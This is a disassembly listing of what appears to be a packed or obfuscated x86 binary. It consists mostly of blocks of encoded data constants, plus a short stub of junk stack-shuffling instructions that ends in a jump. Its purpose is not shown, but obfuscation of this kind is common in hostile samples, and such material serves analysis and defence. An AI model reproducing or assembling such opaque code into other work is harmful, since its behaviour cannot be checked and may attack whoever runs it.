		dd 30368E11h, 1667AF53h, 31B30000h, 0F80252E8h,	9A4B9B31h
		dd 6799E97Fh, 17E434CAh, 0FA637C12h, 6F0524D7h,	0BC52DF1Fh
		dd 69C956Ch, 52E849B6h,	9377647Dh, 1B5A7F09h, 3E7B035h
		dd 0AE5491D4h, 5491C3CEh, 91733749h, 59097B03h,	0C1563621h
		dd 19F95492h, 9B5492E2h, 46A9CD64h, 0A2EAD598h,	160B21C5h
		dd 0D50F0000h, 9C5EAE44h, 3EA7F78Dh, 0BF545DBh,	0BB409026h
		dd 56BFD86Eh, 0CB61C833h, 18AE837Bh, 62F839C8h,	0AE44ED12h
		dd 0EFD3C0D9h, 775A7F0Ah, 0FB2C0C91h, 0DEEDDA91h, 0DE5176F3h
		dd 850DEC10h, 9875E4EFh, 15C4F4h, 8B8E5600h, 0D455A5F5h
		dd 22F7EE3Eh, 6DC43C8Ch, 0B57487D7h, 7A9D061Fh,	0C212A881h
		dd 0F5FF53Ch, 59A93FF2h, 20F58BA6h, 0B361A07h, 0D8BE5A7Fh
		dd 0F839C653h, 17C83341h, 63FB48E9h, 3A1CC5FDh,	0A351EC5h
		dd 6276AEC9h, 0AD45929Fh, 0F994E147h, 18C03A48h, 9254472Bh
		dd 9B01CF54h, 0BA7EB64Eh, 798F392Ch, 3770457Ch,	19000000h
		dd 0B936C107h, 0BC38EC45h, 55669E33h, 91D407E7h, 8B748254h
		dd 0D3846855h, 3E0C5491h, 6B94A0D8h, 4ACFBA78h,	0A309ADCBh
		dd 120DE0Dh, 9FEC54CBh,	1524FBh, 39C65E00h, 812F41F8h
		dd 27B8753Bh, 3DB9629Ah, 0DDEBA20Ah, 27BF0C1Dh,	0F0EFDCEFh
		dd 0EB5177A1h, 39C621DDh, 4C5A92F8h, 8391E87Eh,	0D97FB762h
		dd 72873EAEh, 60988164h, 5EA58675h, 906E8657h, 240DF1A1h
		dd 568F71BEh, 1FFE2DC3h, 0A16060A8h, 0E33AD059h, 0E8CCB9CEh
		dd 706060A7h, 0A82F13A2h, 0E9B76060h, 0D455A5B1h, 3DEC0F1Dh
		dd 65735C05h, 0B34B9899h
		dd 3EB84EFFh, 0CD057EC7h, 0A3F039C1h, 3A09DFCFh, 4FE21FC0h
		dd 0EAFC53E9h, 0FEEB451Bh, 0CE2CDCC7h, 3E760E5Bh, 0B2CCAC56h
		dd 17D8D4Eh, 21360000h,	600F5034h, 0D20AD860h, 43FB2CC1h
		dd 0BDA71DD7h, 82399F50h, 777AAA95h, 879BAD51h,	0E8777726h
		dd 0F00F1D55h, 78F31F03h, 9B88A75Ah, 5A78F2B7h,	0A50B713Fh
		dd 0A5847658h, 0E1BE0EEh, 6694E4D6h, 0D5B576C3h, 0C45A78E2h
		dd 8971C016h, 0F7200AA0h, 36E1CE85h, 0BE575E2Dh, 372439F0h
		dd 60603053h, 2CD50DDBh, 0C178B14Ah, 0AEE64BB3h, 9A8F6CBCh
		dd 30AE8C4Dh, 0EF9D6060h, 412E4319h, 6060305Dh,	0F5D9C6E5h
		dd 7D606030h, 51149AFh,	4D9D33F6h, 4D2F7CADh, 5B2F7CADh
		dd 34C69D6Bh, 0FA085FF5h, 0FFE12EEBh, 91C92F02h, 0B2A1FFA9h
		dd 33E04Eh, 0BF8B0000h,	0D3D9BDAAh, 93615491h, 7DAC4F5Bh
		dd 3D9CB4C6h, 35F81770h, 69B67B85h, 0EF099D1h, 1BEF3CEDh
		dd 7586DD2Bh, 48F21EB4h, 29457CF3h, 97h, 43FB2CD4h, 0AECD0739h
		dd 8F46AC70h, 77803BA2h, 206D3B51h, 0D76DBC3Eh,	69B67387h
		dd 0A58C7280h, 9099616Dh, 697F6F43h, 0F336C5D3h, 0CAD60EA6h
		dd 0C63F930h, 0CBDF3BFAh, 0A5DD02FFh, 9B0913BDh, 3AF440h
		dd 2C9F0000h, 0EBD88FF9h, 5491D3D7h, 3C411DFh, 5491D423h
		dd 88D55CA5h, 88D554A6h, 4754A2D6h, 477086D4h, 6F3AA1Eh
		dd 5491D5F2h, 3468DEFAh, 4BB9091Ch, 183D4FE5h, 0A0000000h
		dd 7304h, 3E506500h, 754CA7B8h,	0E4C85732h, 6C549298h
		dd 0C655669Eh, 0C4ADFA1Fh, 196A65B2h, 78B05592h, 0B0518E6Ch
		dd 5E4B3481h, 5492757Ah, 68CE3402h, 8D6D7BD2h, 7FB74F9Ch
		dd 0EBA28773h, 7605E9D6h, 0BF8D5492h, 0E0F5DE87h, 92760FF3h
		dd 91C99754h, 9C53A5EBh, 75B69A87h, 0C0405492h,	0B9F1BF71h
		dd 0CEE64F10h, 309AB6Eh, 5ED882F5h, 1AB9457Ch, 6400000Dh
		dd 0DD94E62Ch, 0C6FE2BCFh, 0E7775C1Dh, 8679DD3Ah, 171B675Dh
		dd 80E6EFE4h, 81B05133h, 0B7042DD1h, 98E5F3E3h,	7AEDFB01h
		dd 0CCD7E0D0h, 2A0EFB10h, 0B2DE3CF4h, 553AACE4h, 0E3000000h
		dd 0F3FDE1CEh, 6D85DE3Ch, 33BA178h, 94E62CF2h, 46BAC8DDh
		dd 0E4C8B3EBh, 6C5491D3h, 5ED5E79Eh, 698C2E82h,	4ED96CEh
		dd 0DAD80BF6h, 7ECEAA59h, 7759A60Ch, 0C058A584h, 0F537225Ah
		dd 98FDE2A7h, 68C93543h, 874B831Bh, 0AA5C0671h,	9C3DEC08h
		dd 0E8000002h, 0B14AE62Ch, 95452B78h, 1E06697Dh, 0C378DE44h
		dd 39C63536h, 620943F8h, 0E44DB1BFh, 0E346B597h, 6098FE96h
		dd 7CF0DE78h, 0EB101E46h, 0B69A873Eh, 3E5791D3h, 5EC63870h
		dd 6F000000h, 0D3896D5Ah, 0F2115791h, 91D42105h, 75DBA957h
		dd 0E62C2C3Dh, 0B1BFDF94h, 0FA92DF4Ah, 0AF57A46h, 0AEE6EDE4h
		dd 0EDCFAE9Bh, 814F5491h, 49B1BFCCh, 0C3FB93E0h, 1FC69DB0h
		dd 5171A0ACh, 92598064h, 863A0854h, 197FF05Dh, 49B1BF64h
		dd 4BFB93E0h, 942C79B0h, 4F7885Ch, 37h,	94E62C67h, 0F3D2BFDFh
		dd 0CA5491D3h, 16EAFD04h, 0D068B51Bh, 55A5B36Ah, 3FEF87D4h
		dd 2A3B73A6h, 5E9CAABFh, 2FE67ECBh, 91D35E42h, 0E018E654h
		dd 0FA1FC6CFh, 0E76DFE45h, 775794AAh, 1C09CF2Ch, 78581538h
		dd 1888A4C0h, 0A795A57Ch, 0EE45DB41h, 0C41120E0h, 0B0697C2Ch
		dd 9E936C78h, 9099625Eh, 3DC1C7D9h, 26A352B5h, 0B7EF55D4h
		dd 0B349211Bh, 1FD65BA4h, 3F8EF11h, 0DB41D926h,	0F5BEF68Eh
		dd 4585AC53h, 63C63442h, 0CB467E16h, 6F7DBBE2h,	40C027D8h
		dd 0A60CA4F1h, 3D7E9039h, 33D5D1BAh, 4CB3BFF7h,	52A9A5E5h
		dd 5897CFAEh, 41814F78h, 0CA996F47h, 3345FC35h,	23AAF4DAh
		dd 6E1DD3C6h, 0AE7FACF1h, 0C8699848h, 0D625C790h, 5B50653h
		dd 0E1708674h, 29790F1Ah, 1F1B5BD6h, 5B4524DCh,	0F7C57858h
		dd 8593C0B7h, 0B77BB376h, 3CF90B21h, 2255D044h,	0CC333F77h
		dd 3A4FF865h, 58A8694Dh, 7323F178h, 0C25AA772h,	0B0817E8Ah
		dd 9B5F6D70h, 5CE0A840h, 69CF338Dh, 0D14C841Ch,	4593B7DDh
		dd 21C4D2E7h, 978569F8h, 0F50D7858h, 3ED62306h,	6B94A0D8h
		dd 48B759C6h, 0D72432E9h, 356D0552h, 815E9D99h,	0CF67B47Dh
		dd 0B298C21Bh, 0FE642C66h, 1EECC4BEh, 0C79B847h, 0AE39C665h
		dd 0FC94E150h, 3536E196h, 513EF92Ch, 5491D36Dh,	0CC127F5h
		dd 50EA6209h, 31467CF0h, 56h, 8FF92CDCh, 95AABFDAh, 91D3C4A8h
		dd 0C77E4C54h, 91D3F6DAh, 78B07E54h, 91D3AE8Dh,	0A9602E54h
		dd 0BF29CB97h, 283DF140h, 0E1F22A05h, 0A895AABFh, 5491D3C4h
		dd 64CD344Ch, 0C6B5C6FEh, 0FE40F534h, 49B1BF6Dh, 20DAA8E0h
		dd 3B000000h, 0D015D22Dh, 0FE96E349h, 0F92CB5C6h, 0D2BFDA8Fh
		dd 5491D3F3h, 0BF994ECAh, 0F534C6ACh, 0E76DFE40h, 5491DDFDh
		dd 82AFF203h, 63C9038Bh, 0FFFCDFF1h, 524052FFh,	4E75225Fh
		dd 0E70E1F57h, 5491D407h, 0A3867482h, 0EC0EBE56h, 295F053Dh
		dd 0D3A58976h, 152D5491h, 63FB48E9h, 0AA0197FDh, 0E35E1398h
		dd 635023A3h, 5492A77Fh, 9BD33907h, 76C3568Fh, 0B3667F8Dh
		dd 0A82B0FFCh, 0E5B35492h, 0A7DEC2ADh, 93685492h, 187EB34Ch
		dd 1811E9CBh, 17E519CBh, 33C9178Ah, 371B081Dh, 0BF5492A8h
		dd 38ADB9F1h, 0FFFB4BE1h, 0A808ECD9h, 0C2905492h, 0A9DCC65Ch
		dd 1631F23Fh, 2016C854h, 0C8CE00DBh, 0AAD6A8BEh, 0EB15F744h
		dd 0E817F946h, 7288D649h, 7A90962Dh, 2BD9650Fh,	2A24607h
		dd 0E7F10000h, 5491D408h, 9E55C7F0h, 6108A98Ch,	0AD45929Fh
		dd 5A7778F9h, 5EA71A6h,	98D099F2h, 310D9885h, 47155177h
		dd 958461B1h, 2	dup(95946648h),	0F8DCC9DEh, 805A7953h
		dd 55D17AB2h, 1603BA22h, 575E545Fh, 4D8DC8DAh, 79C95B81h
		dd 0E31B3341h, 0C6AA974Eh, 4E606011h, 0DF61A80h, 5DDF0868h
		dd 0E73DC80h, 3DA70000h, 4F646DCh, 0A63F8F25h, 738DDD73h
		dd 23D828BEh, 0EE577006h, 63F930CBh, 0B046EB13h, 0FA90A160h
		dd 46DC55AAh, 876B5871h, 0F5A7F11h, 39C6A429h, 4A9350AEh
		dd 0A8673A88h, 0E299FF65h, 32FCE0CDh, 0B6845492h, 2E59D57Eh
		dd 8D9C5F6Dh, 92331AFEh, 0D841A454h, 361A0726h,	0BE549233h
		dd 0E0D68AF0h, 0F9C945Ch, 0B4A158BEh, 517DDC53h, 48560DDBh
		dd 96E67C9Dh, 113CA4Fh,	1BCED73Eh, 23F6EF7Eh, 0A0D83ED6h
		dd 47EA15F7h, 62798290h, 4D2CC258h, 0DC298F51h,	0BCA08D44h
		dd 445A8079h, 0AC953E76h, 99D1609Eh, 0A158C0F3h, 0BA42CA8Fh
		dd 91C98C8Bh, 6754697Eh, 5A804E83h, 57E8A709h, 0C87AB258h
		dd 58D7C2FAh, 58576510h, 47A7668Ah, 0EAC7DF01h,	0D9C46h
		dd 0B3667E00h, 0FC2DCD1Dh, 4ACF1666h, 959C64B4h, 0DD4CAFFFh
		dd 0A2C52E47h, 0EA3AD059h, 37871D14h, 81D167CAh, 481DB37Eh
		dd 125E422Fh, 0E65A7Fh,	4DB1BF7Bh, 66CC659Ah, 0ADD222Eh
		dd 58F03DF4h, 0FE29A5F2h, 0B4C2D78Eh, 0C9689847h, 0C77EE47Ch
		dd 91D3F6DAh, 78B07E54h, 76F69A8Dh, 3ED4A251h, 928D9E7h
		dd 0E0EC24BCh, 0FA37C81Fh, 19AF15ADh, 4C9CB0C2h, 199F3B70h
		dd 56083BE1h, 54B73AA9h, 4E530C47h, 9D039BE8h, 88ABF9E6h
		dd 18265764h, 62FA47E2h, 974E1C2Ah, 9C806D82h, 246066A8h
		dd 0BD45C908h, 21876945h, 1108DDE9h, 7EB34C5Ah,	6F619931h
		dd 653C61Fh, 0F305DB24h, 0DD8E824h, 0DCC04F29h,	646066B1h
		dd 67E33096h, 0B663823Ch, 0B46BD169h, 0A2DA3FA6h, 0A923A28Fh
		dd 55235D4Bh, 1AAEE631h, 11B592D9h, 0CB1h, 89E7B69h
		dd 51E742B8h, 9F35E401h, 0EA80B14Fh, 32C8619Ah,	6E8DB019h
		dd 29D525BBh, 0DF227208h, 936CBC52h, 1A33089Eh,	7F13492Dh
		dd 66EBD15Ah, 4DAE39C6h, 402976DCh, 547BA02Eh, 0E9C7E237h
		dd 15DF9D4Ah, 0B95F97FDh, 52671E8Eh, 92B58165h,	0CE1A0754h
		dd 4C0F0EEAh, 0B27F829Ah, 0C4A8954Ch, 4C5492CBh, 4633467Eh
		dd 5177C223h, 77C75D2Bh, 0C010A683h, 95EF425h, 0DA91FB2Ch
		dd 76C39EEDh, 3501E51h,	78E56242h, 0E1F7FD5Ah, 6CBD3D4Bh
		dd 674F871Fh, 409BEEBDh, 8C9Eh,	34C64900h, 34C6A8F5h, 3AC6A8F5h
		dd 0D3D5B9A6h, 3E5D5491h, 91D36D51h, 0C127F554h, 0CE2C0E5Bh
		dd 606EC55Bh, 0AC4491A0h, 3F424FF8h, 5D95EBB7h,	651C8CB7h
		dd 7715CD78h, 63875551h, 0E4EF60BEh, 0CE55F9D6h, 4C00000Bh
		dd 9BEB8198h, 0E434CA5Fh, 32821801h, 7DCD63CEh,	0FC15AB7Eh
		dd 9E8B7093h, 0EB46B808h, 35FC0555h, 81B04F9Fh,	10FD16EBh
		dd 5A7F152Ch, 0C649CEB4h, 8D4FA734h, 6B07693Fh,	0A2EF2ABBh
		dd 0FC0EA40Ah, 4Ch, 0F534C65Fh,	91FB2CA8h, 0D436EDDAh
		dd 0E8B65176h, 0EFA667C4h, 0C26643E4h, 0B6Dh, 4CE237ADh
		dd 952BFEFCh, 0E379A045h, 2EC46D93h, 760C1DDEh,	2AD1F45Dh
		dd 0E51969FFh, 9B66B64Ch, 4FB00096h, 5E774CE2h,	7F148D71h
		dd 0AA2F155Ah, 0ABF839C6h, 44FB36C9h, 2C64C536h, 7086E883h
		dd 7CF85B05h, 20899B45h, 0E7CCD4D4h, 4064D60Eh,	0F000002h
		dd 0DF08C657h, 93A1B66Dh, 0E27AC752h, 0E27CBFAAh, 36045176h
		dd 0AF0B48C9h, 0C0F3ACEDh, 6DB4A158h, 0ED4AF5BDh, 2D56D21Fh
		dd 56A38E71h, 93A158BEh, 0EB14C46Dh, 0EFB0E46h,	50E1BDCFh
		dd 0BCCA814Fh, 0CCB09D43h, 5459E25Fh, 5B692086h, 0A73F8CA5h
		dd 18267D6Fh, 61F946E3h, 1E21D29h, 87744387h, 59E287A3h
		dd 0DDA95D2Bh, 7599FFADh, 0E5864CC0h, 0A227CBA8h, 7800000Ah
		dd 0C717AD6Ch, 1060F633h, 5EAE44D5h, 0A9F98FA2h, 2841D752h
		dd 0CA5F9CBFh, 171AE434h, 61D03181h, 0AD847BCBh, 3C294217h
		dd 5A7F1558h, 0C675FAE0h, 0DF3AAB34h, 0CBB0C279h, 0DEC8BBCAh
		dd 0B545C1BCh, 2187BE45h, 93C440E9h, 75857229h,	75517D2Ch
		dd 3E8B9E5Dh, 748940A6h, 48959466h, 926C78B0h, 3784A555h
		dd 53A3399Fh, 0BD3986ABh, 7E6B228Ah, 57644827h,	1422D9A7h
		dd 2CFDFDEAh, 2AE147DFh, 14EE31Ch, 0EF3F3169h, 0F3D5220Fh
		dd 0BB25DB0Ch, 6669EACEh, 3EA47260h, 108BB4D8h,	0AE7DF02h
		dd 9FC66h, 53C61E00h, 9C8D6DBDh, 0EA2FB606h, 35FC0454h
		dd 7DAC4F9Fh, 4265CEE7h, 8ADA70B9h, 0D727BD74h,	2171072Ah
		dd 0E8BD53DEh, 16FEE2CFh, 0A0865A7Fh, 49B1BF1Bh, 60DDA8E0h
		dd 5491D384h, 78EFFD4Bh, 30E75182h, 61A091Bh, 8F754DEAh
		dd 51156C57h, 0C7955177h, 0EA6FE10h, 0D88CA55Ah, 9419503h
		dd 1CFDE8F6h, 0D9212F86h, 0CE34F506h, 0FF35E981h, 7D1E8F4Dh
		dd 355E043Ch, 9AFA0CC3h, 9206A03h, 0EAD7EA22h, 576073A8h
		dd 9DAB6230h, 0E239CF62h, 79FCE0CDh, 6C846063h,	88389E93h
		dd 7682BA77h, 0C584A889h, 0DDF0500h, 94F8C30h, 19CB0000h
		dd 0E01A6A00h, 8263B349h, 4FB10197h, 0FFFC4CE2h, 127B942Ah
		dd 871D0CEFh, 0D46AC737h, 1EB47D84h, 6A0031CEh,	0AB8F7C95h
		dd 335A7F17h, 7E7C84Dh,	895491D4h, 0F604BB76h, 2149D90Ah
		dd 546C73Dh, 82BA529Fh,	0B7DA690h, 31E74254h, 1ACE639Bh
		dd 23100363h, 5492C83Fh, 5B93F9C7h, 93975B48h, 511F5177h
		dd 0BC758C9Ah, 62BD626h, 8DB15B9h, 2C780000h, 0EDDA91FBh
		dd 5176C362h, 5E4F4E6Ah, 2A77A243h, 5371DE92h, 0DFA0ED53h
		dd 5A7977FFh, 1346949Ah, 409B5869h, 16E4Ah, 3BC6F500h
		dd 0D0313FF6h, 447C1461h, 0EC45B99Bh, 0EF42BD9Fh, 13D42A38h
		dd 61F946EBh, 0DE16AEFBh, 83AE5335h, 0CD649DEDh, 3BF60816h
		dd 751E56EEh, 0A65DCFF9h, 0AB8F7C91h, 335491D3h, 96422D65h
		dd 195491D3h, 315B5D07h, 0E69D76BFh, 925515F9h,	97CF9D54h
		dd 0C96EBB89h, 4DDC1E2Ch, 0ACBB5115h, 0F646DC55h, 5D6F260Bh
		dd 0D44550B1h, 15BEF643h, 9287EC54h, 0FDD2B54h,	0D268C938h
		dd 0E302BEE8h, 0EB51E936h, 1D0A1F34h, 54928939h, 0DD3CA9C1h
		dd 0E292F890h, 0EFDA121Fh, 54928913h, 9E80CD9Bh, 0AF938060h
		dd 37549288h, 88472B18h, 1CF5492h, 707E359Bh, 7153A091h
		dd 23AA089h, 0A93EC010h, 0F58DDA57h, 9F60428Fh,	52A04592h
		dd 8F51AD84h, 9288BEA2h, 12784654h, 15D22C7Ch, 93E046EBh
		dd 0C57CEC17h, 990AE5B3h, 0C5FD27DFh, 568F9DB2h, 0A3A18572h
		dd 5B295492h, 6010A8F5h, 715C9485h, 51779866h, 0BA0AA06Eh
		dd 24A0ED44h, 6FC23EF2h, 6D248A22h, 5991A05Fh, 0BE815946h
		dd 33015A79h, 4C8C6E7Ch, 79BE7B5Fh, 0CF35035Ah,	1951E01Fh
		dd 1C2ECB70h, 0EE21836Dh, 0C53CEC69h, 9A70346Ch, 807DB2C4h
		dd 0CCB98E11h, 0BB768894h, 829D525h, 0A4143FBBh, 258100EDh
		dd 0B381575Eh, 31CD1Dh,	4AE71A6Ah, 9A7A8193h, 903AB20Ah
		dd 0BF116658h, 0C91D35ADh, 5C945FB6h, 2DD18DB6h, 0D5E79E04h
		dd 3BB0ECDCh, 0CEE1191Eh, 77BAE2E1h, 37CAE251h,	725643FAh
		dd 0FA5A79BFh, 9079C62Ch, 0BFAA8E7Bh, 0FC305A79h, 0A94C90A5h
		dd 0D60EDC8Eh, 63F930CAh, 50B1BF0Eh, 0D203A9E1h, 0AD9AAF66h
		dd 5491D3C9h, 0A24B8351h, 91D401E1h, 32479C54h,	9168FD20h
		dd 99281D2Ah, 5492BDB5h, 0F00A213Dh, 576675FAh,	5C853DF1h
		dd 0FCF0DE79h, 7FEA00C4h, 457CFBD5h, 69B6h, 0ADBF6100h
		dd 0CCA9E5D5h, 0ECD0BDE0h, 745491EAh, 0FC0840A6h, 0F1AE1FEh
		dd 8ECD9C2h, 905491EBh,	0B8A55CC2h, 5491EAD4h, 0DB288E5Ch
		dd 91EB361Ah, 0F041C054h, 0F33EC1A3h, 0E7A1C0A6h, 22CD2055h
		dd 0D6DB31DFh, 69C71563h, 0A199ED57h, 8872689Eh, 56BC54A1h
		dd 0F7E8121Eh, 46DE2BEEh, 0FB1B4AE0h, 47549291h, 0FFFF54D5h
		dd 0B1BF38FFh, 0FC94E150h, 0EA47B8C4h, 2E402935h, 13F30003h
		dd 0E8F93149h, 0DA8FF92Ch, 50EA8BE0h, 31467CF0h, 34h, 8FF92CDCh
		dd 0EED2BFDAh, 765491D3h, 0ADBFF3A8h, 0EBAF1FDFh, 9EB1E942h
		dd 0F534C68Bh, 0BF6DFE40h, 0A8E049B1h, 57DAh, 39263B00h
		dd 5491D355h, 0C6D70FDDh, 0DA8FF92Ch, 498AABFh,	9E0CF83Dh
		dd 0E734FD04h, 0C6B1E94Fh, 54923CE2h, 0BF9045C1h, 0A8ADBFACh
		dd 880A5C54h, 0CC4D9848h, 6D728894h, 0F2015192h, 413B03F5h
		dd 42F68EDBh, 20B39CC3h, 7BC22B9h, 69566BFEh, 5491D385h
		dd 0F6073F0Dh, 0E24FB1BFh, 0D2479EAAh, 0D3E0C485h, 59A75491h
		dd 0E831B483h, 0DF912352h, 73E55491h, 0FFFFF287h, 0AB34C6D6h
		dd 0C36E904Fh, 7761F75Dh, 3825DC4Ch, 5176F8DDh,	0CBE09765h
		dd 78FEFADEh, 7CB4825Ah, 0E8D5EAD3h, 5A78FF04h,	9B86BE8Ch
		dd 5A78FEBBh, 1F6CBD3Dh, 3B944B39h, 0EB9BCDB9h,	31CF10h
		dd 89794D9Ah, 91972E73h, 0C266107Bh, 747409Bh, 0F2000000h
		dd 104h, 0ADBF6700h, 0D5DFAB2Fh, 0B847F742h, 5C942C79h
		dd 641B8DB6h, 0A18FED52h, 6BA3D3A1h, 0B0354358h, 0EA50E11Fh
		dd 0E2CD059Dh, 5176F6F3h, 0EFD825F3h, 0C81504E1h, 0EECF830h
		dd 0AF56851Bh, 315A78F9h, 98AA61D0h, 875E89AEh,	9B8DC5FAh
		dd 0E8CE3244h, 63B961BEh, 4FE21F2Bh, 0D2F7B102h, 7EBD8EDh
		dd 8F5A7922h, 3FA58477h, 21B79B88h, 713F5A79h, 0C9677539h
		dd 0B2EA3FBBh, 98855BA6h, 5A7921B4h, 72086E3Ch,	39D7091Bh
		dd 0DA69F8A7h, 776996A2h, 0D9C9569h, 5A797229h,	0C82FE3B1h
		dd 6D89BC14h, 292565CBh, 0BEDC0DD6h, 5C807EB0h,	0E4BCB6F6h
		dd 71C03F16h, 40EA5D04h, 2145FCF0h, 0E8h, 0FF02B8CAh, 742809F6h
		dd 6BA353A1h, 90FA2C5Ah, 0F3D7C4D9h, 7D5491D3h,	2BF9AB7Eh
		dd 0E7191777h, 0EF27E225h, 0F3D2BFDEh, 0CA5491D3h, 2A535A00h
		dd 0E1470505h, 0EACBF2Ch, 39C65FFDh, 742F41F8h,	49CC08CAh
		dd 29C5D60Eh, 62CF3240h, 34457D15h, 0DA8FF92Ch,	6E7789E0h
		dd 6D7F1E9Ch, 0EA14255Dh, 467CF050h, 3631h, 14C8DA00h
		dd 14F8E549h, 9C579292h, 0E2181ACEh, 2CF1023Ah,	0BFDA8FF9h
		dd 91D3EED2h, 0F3A87654h, 34C6ACBFh, 362C3EF5h,	1AE5C6CFh
		dd 0FE9EAFE7h, 3A046Dh,	0BF670000h, 98E534B1h, 0F322C800h
		dd 0AABFD085h, 93CB5E9Ch, 91D3C4A8h, 12D9A354h,	2C82E22Ah
		dd 0BFA55AC0h, 9F27EFADh, 7C2C352Eh, 5F72AA7Fh,	0AB34C64Ch
		dd 0F890DD54h, 6DFEDD92h, 0FFFF1904h, 635065FFh, 5491D37Fh
		dd 0F0013907h, 0ABF839C6h, 32AD36C9h, 9630C2FAh, 0BD535E12h
		dd 0C3068123h, 6398A65Dh, 0A9E179C6h, 0A95260B7h, 0FE2BD080h
		dd 3BE119B1h, 0D7E9A008h, 1E0AC17Ah, 230EF243h,	5D7285BDh
		dd 4981B04Fh, 7793FF5Eh, 73607F51h, 5A79938Fh, 96E34917h
		dd 89469FADh, 451B772h,	0EA3FBC6Ch, 0E2CD059Dh,	5A799402h
		dd 0EB41979Dh, 0C10E23DDh, 5F09F129h, 40409B38h, 3Eh, 91FB2CEBh
		dd 0BEB3C5DAh, 9F8C4E40h, 3B5B3FCEh, 15E35492h,	0A7B5CADDh
		dd 0B79B8858h, 3F54923Bh, 0E8D30B71h, 51776421h, 0C586D3A1h
		dd 5A7963E5h, 0F96C7A80h, 409B6C4Fh, 10F30h, 39C6DB00h
		dd 0C1A592A7h, 495491D3h, 0D408EC7Bh, 78905491h, 0E046AC6Dh
		dd 0DF4AB193h, 914FB092h, 26B57C83h, 5491D342h,	0AEFB2ECCh
		dd 0E6966416h, 35CD1AFFh, 5FA082CFh, 0F10D3CD2h, 0FB5491D7h
		dd 64762D04h, 58BF6FCFh, 50427A97h, 0E532FF00h,	7B843E69h
		dd 6BD169B6h, 24D4C7B4h, 0C2D75177h, 794BF1D5h,	9E61795Ah
		dd 48AE4693h, 1C4D6894h, 0D1098ECBh, 85FF5C3h, 0DADB00FAh
		dd 0FDC0AA89h, 0BE649C02h, 0FFD1D595h, 0E41EE6A5h, 74DAC77Eh
		dd 6F576051h, 71896D5Ah, 43116063h, 782FFD0Bh, 298916Ah
		dd 0BCE049B2h, 0DF050897h, 2A6206E3h, 0F0000002h, 3F8F25F4h
		dd 88D86EBBh, 0D626BC5Dh, 2171072Ah, 0A0B94FDAh, 42E71437h
		dd 8FA25CACh, 0D958A9F9h, 250CF343h, 0B4A1BA8Fh, 5A7F1ED0h
		dd 0C6ED7258h, 2F3DF435h, 52AF5FD2h, 65B5A7DFh,	0D945499Ah
		dd 0BACC939h, 1FE0EEA5h, 0F52DC512h, 639EAC03h,	0A79B81CEh
		dd 0E383573Ah, 12235BC1h, 0DA91FB2Ch, 76FC26EDh, 0FC8FA151h
		dd 98C390A2h, 0EDBBC901h, 42FFDFA0h, 949A5A79h,	93691346h
		dd 0B84A409Bh, 0F5000000h, 0ABF839C6h, 0AAF732C9h, 91D7CDE9h
		dd 928D754h, 55DC2373h,	1D0A1F08h, 5491D939h, 0D8EBCFBCh
		dd 0A5735491h, 0A1FDBF3h, 87BF25BDh, 8F46B6E1h,	76C9AFA2h
		dd 29BB751h, 47D0F21Ch,	0CF68CF2h, 59D827DBh, 0A4F3CF3h
		dd 8A576013h, 4F705BCh,	6C596E25h, 60633488h, 180A4210h
		dd 0B8A533C8h, 606334D4h, 34866A57h, 400E6063h,	365AC08Eh
		dd 0DF054627h, 2A46EAC7h, 0F0000001h, 3F8F25F4h, 88D86EBBh
		dd 0D626BC5Dh, 2171072Ah, 0A0B94FDAh, 42E71437h, 8FA25CACh
		dd 0D958A9F9h, 250CF343h, 0B4A1BA8Fh, 5A7F1FD0h, 0C6ED7258h
		dd 0DE3BAA35h, 6D92E278h, 0C6D92EC4h, 3341F839h, 832C64CDh
		dd 3DD35EA1h, 1B82053h,	76CFBD14h, 0D42A3851h, 4078105Dh
		dd 9FAD6432h, 0EB3BD160h, 0FBDFCC14h, 835A78F1h, 86984FB5h
		dd 7F6E979Eh, 7C255DBAh, 0AE65D700h, 6449A9C1h,	0B7DBA957h
		dd 0DF022AB0h, 9EB75B38h, 7C000000h, 0CB1BB168h, 1464FA2Fh
		dd 62B248D1h, 0ADFD939Eh, 2C45DB4Eh, 0CE5BA0C3h, 1B16E838h
		dd 65CC3585h, 0B1807FCFh, 402D461Bh, 5A7F1F5Ch,	0BF79FEE4h
		dd 96E34EB1h, 0F720C6FEh, 0A1E1CE85h, 21517CE4h, 0DB240653h
		dd 0D73DF40Ch, 0B1AB0E20h, 0DD91A05Fh, 0C025216Dh, 0E740C59h
		dd 6B94E4D6h, 7E9079C6h, 8F434EB3h, 0AA95CD05h,	6E14F516h
		dd 77CE1C50h, 0C313A988h, 0F9CFA73Ch, 5F3C7BFh,	9070529Fh
		dd 258B8E57h, 929F606Eh, 0BE0CB15Ah, 4BE61928h,	979A65B5h
		dd 3A64Ah, 58090000h, 0FB1EC613h, 0FE33CCAEh, 0FF32CFB1h
		dd 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh
		db 0BBh, 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	259Ch
		mov	[esp], ecx
		push	6071h
		mov	[esp], ebp
		push	eax
		push	edi
		mov	edi, 698B5AE3h
		mov	eax, edi
		pop	edi
		mov	ecx, 6F788C4Ah
		sub	ecx, eax
		pop	eax
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	64A6h
		mov	[esp], ecx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		db 28h,	34h, 0DEh
		dd 46C620F8h, 3C40226Dh, 4D79B8D3h, 0C50305EDh,	0A585C650h
		dd 4705E732h, 38172568h, 99B5FFCFh, 8D05E708h, 0E7392A85h
		dd 8BD0FF05h, 89858DD8h, 5005E71Dh, 10468h, 0C6D3FF00h
		dd 0E732A585h, 0BF685305h, 0FF8307F8h, 0E70899B5h, 2A858D05h
		dd 0FF05E739h, 488589D0h, 8305ED2Fh, 0E71809BDh, 840F0005h
		dd 0Bh,	11699D8Bh, 5E905E7h, 0BB000000h, 0
		dd 10068h, 4CB58D00h, 5605ED2Fh, 7195FF53h, 8D05E727h
		dd 0ED2F4CB5h, 0E9F00305h, 1, 5C3E804Eh, 9840Fh, 3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 5ED2F4Ch,	4895FF50h
		dd 5805ED2Fh, 0A467E0FFh, 2628744Eh, 21903F2Bh,	0AE33E40h
